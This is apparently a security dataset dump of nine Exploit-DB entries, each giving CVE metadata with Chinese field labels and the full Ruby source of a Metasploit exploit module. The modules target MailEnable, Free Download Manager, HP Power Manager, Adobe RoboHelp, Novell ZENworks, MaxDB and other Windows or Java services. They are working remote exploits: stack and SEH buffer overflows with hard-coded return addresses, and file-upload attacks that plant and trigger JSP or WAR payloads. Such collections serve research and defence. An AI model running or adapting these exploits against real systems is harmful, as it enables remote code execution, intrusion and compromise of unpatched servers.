QLWD/code_shield huggingface dataset:
标题: MailEnable - Authorisation Header Buffer Overflow (Metasploit) EDB-ID: 16781 CVE: 2005-1348 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-07 漏洞利用脚本: ##
# $Id: mailenable_auth_header.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerprint = { :pattern => [ /MailEnable/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MailEnable Authorization Header Buffer Overflow',
   'Description'    => %q{
     This module exploits a remote buffer overflow in the MailEnable web service.
    The vulnerability is triggered when a large value is placed into the Authorization
    header of the web request. MailEnable Enterprise Edition versions priot to 1.0.5 and
    MailEnable Professional versions prior to 1.55 are affected.
   },
   'Author'         => 'David Maciejak <david.maciejak[at]kyxar.fr>',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9719 $',
   'References'     =>
    [
     ['CVE',   '2005-1348'],
     ['OSVDB', '15913'],
     ['OSVDB', '15737'],
     ['BID',   '13350'],
     ['NSS',   '18123'],
    ],
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x0d\x0a"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['MEHTTPS.exe Universal', { 'Ret' => 0x006c36b7 }], # mehttps.exe
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 24 2005'))
 end

 def check
  info = http_fingerprint  # check method
  if (info =~ /MailEnable/)
   return Exploit::CheckCode::Appears
  end
  Exploit::CheckCode::Safe
 end

 def exploit
  buffer = make_nops(24) + payload.encoded + [target.ret].pack('V')

  send_request_raw(
   {
    'headers' => { 'Authorization' => buffer }
   }, 2)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16781
标题: Free Download Manager 2.5 Build 758 - Remote Control Server Buffer Overflow (Metasploit) EDB-ID: 16777 CVE: 2009-0183 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-13 漏洞利用脚本: ##
# $Id: fdm_auth_header.rb 9812 2010-07-13 22:11:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 # w/auth required: [*] x.x.x.x  ( 401-Basic realm="FDM Remote control server" )
 # w/o auth: <title>FDM remote control server</title>
 # w/o auth: <div align="right"><span class="style1"><span class="style4">Free Download Manager remote control server.</span><br />
 # <span class="style4">Version 1.0.</span>  </span></div>
 # Extra url: /compdlds.req
 HttpFingerprint = { :pattern => [ /(FDM Remote control server|Free Download Manager)/i ] } # XXX: A custom body check would be nice too

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Free Download Manager Remote Control Server Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Free Download Manager
    Remote Control 2.5 Build 758. When sending a specially crafted
    Authorization header, an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9812 $',
   'References'     =>
    [
     [ 'CVE', '2009-0183' ],
     [ 'OSVDB', '51745' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x0d\x0a",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Privileged'     => true,
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Free Download Manager 2.5 Build 758', { 'Ret' => 0x0040ae0f } ], # fdmwi.exe
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 2 2009'))
 end

 def exploit

  sploit =  rand_text_alpha_upper(1012 - payload.encoded.length) + payload.encoded
  sploit << [target.ret].pack('V') + make_nops(4) + [0xe8, -575].pack('CV')
  sploit = Rex::Text.encode_base64(sploit)

  print_status("Trying target #{target.name}...")

  send_request_raw(
   {
    'headers' => { 'Authorization' => "Basic #{sploit}" }
   }, 2)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16777
标题: PSOProxy 0.91 - Stack Buffer Overflow (Metasploit) EDB-ID: 16790 CVE: 2004-0313 类型: DOS 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: psoproxy91_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PSO Proxy v0.91 Stack Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
    If a client sends an excessively long string the stack is overwritten.
   },
   'Author'         => 'Patrick Webster <patrick@aushack.com>',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2004-0313' ],
     [ 'OSVDB', '4028' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/156' ],
     [ 'BID', '9706' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 370,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
    # Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
     [ 'Windows 2000 Pro SP0-4 English',  { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
     [ 'Windows 2000 Pro SP0-4 French',   { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
     [ 'Windows 2000 Pro SP0-4 Italian',  { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
     [ 'Windows XP Pro SP0/1 English',    { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
     [ 'Windows XP Pro SP2 English',      { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 20 2004'
   ))

  register_options(
   [
    Opt::RPORT(8080),
   ], self.class)
 end

 def check
  connect
  sock.put("GET / HTTP/1.0\r\n\r\n")
  banner = sock.get(-1,3)
  if (banner =~ /PSO Proxy 0\.9/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  exploit = rand_text_alphanumeric(1024, payload_badchars)
  exploit += [target['Ret']].pack('V') + payload.encoded

  sock.put(exploit + "\r\n\r\n")

  disconnect
  handler
 end
end URL: https://www.exploit-db.com/exploits/16790
标题: Now SMS/Mms Gateway - Remote Buffer Overflow (Metasploit) EDB-ID: 16779 CVE: 2008-0871 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: nowsms.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Now SMS/MMS Gateway Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Now SMS/MMS Gateway v2007.06.27.
    By sending a specially crafted GET request, an attacker may be able to execute
    arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-0871' ],
     [ 'OSVDB', '42953'],
     [ 'BID', '27896' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 0x94,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Now SMS/MMS Gateway v2007.06.27', { 'Ret' => 0x10002f9d } ], # CALL ESP : SMSHMAC.DLL
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 19 2008'))

  register_options( [ Opt::RPORT(8800) ], self.class )
 end

 def exploit
  c = connect

  data = Rex::Text.encode_base64(rand_text_english(129) + [target.ret].pack('V') + payload.encoded)

  print_status("Trying target #{target.name}...")

  res = send_request_raw({
    'uri'          => '/',
    'method'       => 'GET',
    'headers'      =>
    {
     'Authorization' => "Basic #{Rex::Text.encode_base64(data)}"
    }
   }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16779
标题: Hewlett-Packard (HP) Power Manager Administration - Remote Buffer Overflow (Metasploit) EDB-ID: 16785 CVE: 2009-2685 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: hp_power_manager_login.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Hewlett-Packard Power Manager Administration Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Hewlett-Packard Power Manager 4.2.
    Sending a specially crafted POST request with an overly long Login string, an
    attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2009-2685' ],
     [ 'OSVDB', '59684'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 650,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ], # pop/pop/ret in msvcp60.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 4 2009'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  sploit = rand_text_alpha_upper(2024)

  sploit[633,2] = Rex::Arch::X86.jmp_short(24)
  sploit[635,4] = [target.ret].pack('V')
  sploit[639,32] = make_nops(32)
  sploit[671,payload.encoded.length] = payload.encoded

  data = "HtmlOnly=true&Login=" + sploit + "+passwd&Password=&loginButton=Submit+Login"

  req =  "POST /goform/formLogin HTTP/1.1\r\n"
  req << "Host: #{rhost}:#{rport}\r\n"
  req << "Content-Length: #{data.length}" + "\r\n\r\n" + data + "\r\n\r\n"

  connect

  print_status("Trying target #{target.name}...")
  sock.put(req)

  select(nil,nil,nil,5)
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16785
标题: Adobe RoboHelp Server 8 - Arbitrary File Upload / Execution (Metasploit) EDB-ID: 16789 CVE: 2009-3068 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: adobe_robohelper_authbypass.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',
   'Description'    => %q{
     This module exploits an authentication bypass vulnerability which
    allows remote attackers to upload and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11127 $',
   'Platform'       => 'win',
   'Privileged'     => true,
   'References'     =>
    [
     [ 'CVE', '2009-3068' ],
     [ 'OSVDB', '57896'],
     [ 'URL', 'http://www.intevydis.com/blog/?p=69' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ],
    ],
   'Targets'        =>
    [
     [ 'Universal Windows Target',
      {
       'Arch'     => ARCH_JAVA,
       'Payload'  =>
        {
         'DisableNops' => true,
        },
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Sep 23 2009'
  ))

  register_options( [ Opt::RPORT(8080) ], self.class )
 end

 def exploit

  page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
  uid  = rand(20).to_s

  file =  "-----------------------------#{uid}\r\n"
  file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
  file << "Content-Type: application/x-java-archive\r\n\r\n"
  file << payload.encoded
  file << "\r\n"

  print_status("Sending our POST request...")

  res = send_request_cgi(
   {
    'uri'  => '/robohelp/server?PUBLISH=' + uid,
    'version' => '1.1',
    'method' => 'POST',
    'data'  => file,
    'headers' =>
     {
      'Content-Type'  => 'multipart/form-data; boundary=---------------------------' + uid,
      'UID'   => uid,
     }
   }, 5)

  if ( res and res.message =~ /OK/ )
   id = res['sessionid'].to_s.strip

   print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
   data = send_request_raw({
     'uri'  => '/robohelp/robo/reserved/web/' + id + '/' + page ,
     'method' => 'GET',
     'version' => '1.0',
   }, 5)

   handler
  else
   print_error("No SESSIONID acquired...")
   return
  end
 end
end URL: https://www.exploit-db.com/exploits/16789
标题: Novell ZENworks Configuration Management 10.2.0 - Remote Execution (Metasploit) EDB-ID: 16784 CVE: 2010-5324 2010-5323 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-11-22 漏洞利用脚本: ##
# $Id: zenworks_uploadservlet.rb 11099 2010-11-22 17:53:49Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
   'Description' => %q{
     This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
    By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
    and then make a secondary request that allows for arbitrary code execution.
   },
   'Author'      => [ 'MC' ],
   'License'     => MSF_LICENSE,
   'Version'     => '$Revision: 11099 $',
   'References'  =>
    [
     [ 'OSVDB', '63412' ],
     [ 'BID', '39114' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ],
     [ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
    ],
   'Privileged'  => true,
   'Platform'    => [ 'java', 'win', 'linux' ],
   'Targets'     =>
    [
     [ 'Java Universal',
      {
       'Arch' => ARCH_JAVA,
       'Platform' => 'java'
      },
     ],
     [ 'Windows x86',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win'
      },
     ],
     [ 'Linux x86', # should work but untested
      {
       'Arch' => ARCH_X86,
       'Platform' => 'linux'
      },
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 30 2010'))

  register_options([Opt::RPORT(80),], self.class)
 end

 def exploit

  # Generate the WAR containing the EXE containing the payload
  app_base = rand_text_alphanumeric(4+rand(32-4))
  jsp_name = rand_text_alphanumeric(8+rand(8))

  war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

  res = send_request_cgi(
   {
    'uri'    => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
    'method' => 'POST',
    'data'   => war_data,
    'headers' =>
     {
      'Content-Type' => 'application/octet-stream',
     }
   })

  print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

  select(nil, nil, nil, 20)

  if (res.code == 200)
   print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
    send_request_raw(
     {
      'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
      'method' => 'GET',
     })
  else
   print_error("Denied...")
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/16784
标题: MaxDB WebDBM - GET Buffer Overflow (Metasploit) EDB-ID: 16791 CVE: 2005-0684 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: maxdb_webdbm_get_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MaxDB WebDBM GET Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the MaxDB WebDBM
    service. This service is included with many recent versions
    of the MaxDB and SAPDB products. This particular module is
    capable of exploiting Windows systems through the use of an
    SEH frame overwrite. The offset to the SEH frame may change
    depending on where MaxDB has been installed, this module
    assumes a web root path with the same length as:

    C:\Program Files\sdb\programs\web\Documents
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0684'],
     [ 'OSVDB', '15816'],
     [ 'URL', 'http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities'],
     [ 'BID', '13368'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 2052,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
     'StackAdjustment' => -3500,
    },
    'Platform'   => 'win',
   'Targets'        =>
    [
     ['MaxDB 7.5.00.11 / 7.5.00.24', { 'Ret' => 0x1002aa19 }], # wapi.dll
     ['Windows 2000 English',        { 'Ret' => 0x75022ac4 }], # ws2help.dll
     ['Windows XP English SP0/SP1',  { 'Ret' => 0x71aa32ad }], # ws2help.dll
     ['Windows 2003 English',        { 'Ret' => 0x7ffc0638 }], # peb magic :-)
     ['Windows NT 4.0 SP4/SP5/SP6',  { 'Ret' => 0x77681799 }], # ws2help.dll
    ],
   'DisclosureDate' => 'Apr 26 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(9999)
   ], self.class)
 end

 def exploit
  # Trigger the SEH by writing past the end of the page after
  # the SEH is already overwritten. This avoids the other smashed
  # pointer exceptions and goes straight to the payload.
  buf = rand_text_alphanumeric(16384)
  buf[1586, payload.encoded.length] = payload.encoded
  buf[3638, 5] = "\xe9" + [-2052].pack('V')
  buf[3643, 2] = "\xeb\xf9"
  buf[3647, 4] = [target.ret].pack('V')

  print_status("Trying target address 0x%.8x..." % target.ret)

  send_request_raw({
   'uri' => '/%' + buf
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16791
标题: eDirectory 8.7.3 - iMonitor Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16769 CVE: 2005-2551 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-13 漏洞利用脚本: ##
# $Id: edirectory_imonitor.rb 9812 2010-07-13 22:11:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in eDirectory 8.7.3
    iMonitor service. This vulnerability was discovered by Peter
    Winter-Smith of NGSSoftware.

    NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
    not restart automatically in a default installation.
   },
   'Author'         => [ 'anonymous', 'Matt Olney <scacynwrig@yahoo.com>' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9812 $',
   'References'     =>
    [
     [ 'CVE', '2005-2551'],
     [ 'OSVDB', '18703'],
     [ 'BID', '14548'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 4150,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
    ],
   'DisclosureDate' => 'Aug 11 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(8008)
   ], self.class)
 end

 def exploit
  c = connect

  # pop/pop/ret in ndsimon.dlm on our jump to our shellcode
  uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
  uri << "\xe9\xbd\xef\xff\xff"
  uri << "B" * 0xD0

  res = c.send_request(c.request_raw({ 'uri' => uri }))
  select(nil,nil,nil,4)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16769